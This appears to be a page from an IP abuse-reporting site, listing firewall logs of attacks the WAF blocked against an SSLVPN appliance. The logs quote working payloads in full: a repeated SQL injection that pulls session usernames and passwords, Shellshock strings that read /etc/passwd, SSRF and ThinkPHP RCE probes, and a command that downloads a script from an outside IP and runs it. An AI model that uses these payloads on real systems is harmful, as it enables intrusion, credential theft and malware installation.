🇱🇺
107.189.30.131
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 05:16:04" vp_time="2022-07-07 03:16:04
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 05:16:04" vp_time="2022-07-07 03:16:04
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=107.189.30.131 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: Unauthorized Remote File Access"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/jarrewrite.sh rule-match="() { : } echo/bin/bash -c
cat/etc/passwd" AttackCat="Unauthorized Remote File Access" summ="This allows an attacker
to make an unauthorized attempt in downloading a file from a web server" sigid="9009"
category="Information Disclosure--Predictable Resource Location" agent="() { :; }; echo ;
/bin/bash -c "cat /etc/passwd""
show less
Hacking
🇺🇸
50.116.19.225
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 03:39:22" vp_time="2022-07-07 01:39:22
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 03:39:22" vp_time="2022-07-07 01:39:22
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=50.116.19.225 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇩🇪
185.228.138.240
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 02:26:37" vp_time="2022-07-07 00:26:37
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-07 02:26:37" vp_time="2022-07-07 00:26:37
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=185.228.138.240 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇺🇸
23.154.177.5
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-06 19:26:17" vp_time="2022-07-06 17:26:17
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-06 19:26:17" vp_time="2022-07-06 17:26:17
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=23.154.177.5 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇺🇸
50.116.19.225
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-06 15:04:16" vp_time="2022-07-06 13:04:16
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-06 15:04:16" vp_time="2022-07-06 13:04:16
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=50.116.19.225 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇳🇱
5.255.99.205
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-06 13:57:12" vp_time="2022-07-06 11:57:12
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-06 13:57:12" vp_time="2022-07-06 11:57:12
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=5.255.99.205 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇺🇸
146.70.87.53
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-06 09:07:57" vp_time="2022-07-06 07:07:57
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-06 09:07:57" vp_time="2022-07-06 07:07:57
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=146.70.87.53 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇱🇺
104.244.76.13
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-06 06:50:59" vp_time="2022-07-06 04:50:59
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-06 06:50:59" vp_time="2022-07-06 04:50:59
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=104.244.76.13 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇳🇴
185.243.218.32
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 18:08:05" vp_time="2022-07-05 16:08:05
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 18:08:05" vp_time="2022-07-05 16:08:05
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=185.243.218.32 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇺🇸
146.70.87.53
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 16:43:45" vp_time="2022-07-05 14:43:45
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 16:43:45" vp_time="2022-07-05 14:43:45
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=146.70.87.53 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇺🇸
172.86.182.82
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 15:39:13" vp_time="2022-07-05 13:39:13
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 15:39:13" vp_time="2022-07-05 13:39:13
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=172.86.182.82 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: Unauthorized Remote File Access"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/jarrewrite.sh rule-match="() { : } echo/bin/bash -c
cat/etc/passwd" AttackCat="Unauthorized Remote File Access" summ="This allows an attacker
to make an unauthorized attempt in downloading a file from a web server" sigid="9009"
category="Information Disclosure--Predictable Resource Location" agent="() { :; }; echo ;
/bin/bash -c 'cat /etc/passwd'"
show less
Hacking
🇳🇱
185.162.235.162
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 13:46:37" vp_time="2022-07-05 11:46:37
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 13:46:37" vp_time="2022-07-05 11:46:37
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=185.162.235.162 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: Unauthorized Remote File Access"
URI=xxx.xxx.xxx.xxx:443/api/geojson?url=file:///etc/hosts rule-match="file:///etc/hosts"
AttackCat="Unauthorized Remote File Access" summ="This allows an attacker to make an
unauthorized attempt in downloading a file from a web server" sigid="9009"
category="Information Disclosure--Predictable Resource Location" agent="l9explore/1.2.2"
show less
Hacking
🇺🇸
144.172.118.76
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 05:32:20" vp_time="2022-07-05 03:32:20
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 05:32:20" vp_time="2022-07-05 03:32:20
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=144.172.118.76 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇺🇸
45.61.186.203
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 03:29:20" vp_time="2022-07-05 01:29:20
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 03:29:20" vp_time="2022-07-05 01:29:20
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=45.61.186.203 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇫🇷
79.137.37.35
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 02:57:48" vp_time="2022-07-05 00:57:48
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 02:57:48" vp_time="2022-07-05 00:57:48
UTC" fw=xxx.xxx.xxx.xxx pri=3 m=34 c=402 src=79.137.37.35 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: ThinkPHP Remote Code Execution"
URI=xxx.xxx.xxx.xxx:443/?s=/Index/\think\app/invokefunction&function=call_user_func_array&var
s[0]=md5&vars[1][]=1ejpe6ni
rule-match="/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]
=1ejpe6ni"
AttackCat="ThinkPHP Remote Code Execution" summ="ThinkPHP has a remote code execution
vulnerability which allows attackers to run instructions on the target system"
sigid="1689" category="Command Execution--OS Commanding" agent="Mozilla/5.0 (Windows NT
10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0"
show less
Hacking
🇺🇸
162.247.74.217
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 00:12:18" vp_time="2022-07-04 22:12:18
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-05 00:12:18" vp_time="2022-07-04 22:12:18
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=162.247.74.217 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇺🇸
146.70.87.53
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-04 17:16:47" vp_time="2022-07-04 15:16:47
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-04 17:16:47" vp_time="2022-07-04 15:16:47
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=146.70.87.53 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
Hacking
🇱🇺
104.244.77.80
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-04 16:42:24" vp_time="2022-07-04 14:42:24
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-04 16:42:24" vp_time="2022-07-04 14:42:24
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=104.244.77.80 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇳🇱
62.197.136.170
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-04 16:40:01" vp_time="2022-07-04 14:40:01
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-04 16:40:01" vp_time="2022-07-04 14:40:01
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=62.197.136.170 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (iPhone; CPU
iPhone OS 14_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3
Mobile/15E148 Safari/604.1"
show less
SQL Injection
🇺🇸
172.86.182.82
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-04 13:51:08" vp_time="2022-07-04 11:51:08
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-04 13:51:08" vp_time="2022-07-04 11:51:08
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=172.86.182.82 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: Unauthorized Remote File Access"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/jarrewrite.sh rule-match="() { : } echo/bin/bash -c
cat/etc/passwd" AttackCat="Unauthorized Remote File Access" summ="This allows an attacker
to make an unauthorized attempt in downloading a file from a web server" sigid="9009"
category="Information Disclosure--Predictable Resource Location" agent="() { :; }; echo ;
/bin/bash -c 'cat /etc/passwd'"
show less
Hacking
🇩🇪
31.24.148.37
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-04 01:51:51" vp_time="2022-07-03 23:51:51
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-04 01:51:51" vp_time="2022-07-03 23:51:51
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=31.24.148.37 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇳🇱
94.102.56.9
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-03 13:14:11" vp_time="2022-07-03 11:14:11
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-03 13:14:11" vp_time="2022-07-03 11:14:11
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=94.102.56.9 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇩🇪
193.111.199.135
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-03 01:05:21" vp_time="2022-07-02 23:05:21
UTC" fw=xxx.xx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-03 01:05:21" vp_time="2022-07-02 23:05:21
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=193.111.199.135 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: System Command Injection Variant
2" URI=xxx.xxx.xxx.xxx:443/cgi-bin/jarrewrite.sh rule-match="() { :; }; echo ; /bin/bash -c
'cd /tmp;wget http:/213.202.230.64/ohsitsvegawellrip.sh; curl -O
http:/213.202.230.64/ohsitsvega" AttackCat="System Command Injection Variant 2" summ="This
technique allows an attacker to execute OS commands by manipulating application input"
sigid="9012" category="Command Execution--OS Commanding" agent="() { :; }; echo ;
/bin/bash -c 'cd /tmp;wget http://213.202.230.64/ohsitsvegawellrip.sh; curl -O
http://213.202.230.64/ohsitsvegawellrip.sh; chmod 777 ohsitsvegawellrip.sh;
./ohsitsvegawellrip.sh'"
show less
Hacking
🇧🇪
45.128.133.242
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-03 00:53:58" vp_time="2022-07-02 22:53:58
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-03 00:53:58" vp_time="2022-07-02 22:53:58
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=45.128.133.242 dst=xxx.xxx.xxx.xxx
user="Unknown" usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection
🇨🇭
185.195.71.3
12 Jul 2022
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-02 12:30:03" vp_time="2022-07-02 10:30:03
UTC" fw=xxx.xxx ...
show more
SSLVPN: id=sslvpn sn=xxxxxx time="2022-07-02 12:30:03" vp_time="2022-07-02 10:30:03
UTC" fw=xxx.xxx.xxx.xxx pri=2 m=34 c=402 src=185.195.71.3 dst=xxx.xxx.xxx.xxx user="Unknown"
usr="Unknown" msg="WAF threat prevented: SQL Injection Attack 1"
URI=xxx.xxx.xxx.xxx:443/cgi-bin/extendauthentication rule-match="' union select
usertype||'#'||sessionid||'#'||username||'#'||password||'#'||domainname from sessions
limit 0,1;" AttackCat="SQL Injection Attack 1" summ="SQL Injection is an attack technique
used to exploit web sites that construct SQL statements from user-supplied input"
sigid="9005" category="Command Execution--SQL Injection" agent="Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
show less
SQL Injection